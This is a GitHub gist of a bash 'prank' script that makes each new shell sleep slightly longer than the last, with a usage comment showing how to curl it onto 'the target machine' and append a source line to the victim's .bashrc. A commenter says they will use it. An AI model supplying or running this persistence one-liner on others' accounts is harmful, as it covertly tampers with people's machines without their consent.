Skip to content

Instantly share code, notes, and snippets.

@kevinhughes27
Last active April 2, 2017 04:18
Show Gist options
  • Save kevinhughes27/52aeef2b6c971846349f to your computer and use it in GitHub Desktop.
Save kevinhughes27/52aeef2b6c971846349f to your computer and use it in GitHub Desktop.
bash sleep prank
#!/usr/bin/env bash
# sleepy-bash
# kevin hughes
# [email protected]
# 2015
# on each run this script reads a var increments
# it then sleeps for that long.
# Based on a prank someone told me about once.
# I take no credit for the idea only this implementation.
# usage:
# simply source in someones .bashrc
# eg.
# on the target machine:
# curl -o .sleepy-bash.sh https://gist.github.com/kevinhughes27/52aeef2b6c971846349f && echo 'source ~/.sleepy-bash.sh' >> ~/.bashrc
file="$HOME/.gotcha.txt"
start_val='0.25'
inc_val='0.25'
# if file exists read value and increment
# else create file and set value
if [[ -f $file ]]; then
value=`cat $file`
value=$(bc<<<"$value + $inc_val")
else
value=$start_val
fi
# save value into file
#echo $value
echo $value > $file
sleep $value
@AWaselnuk
Copy link

Amazing. Will definitely use! :trollface:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment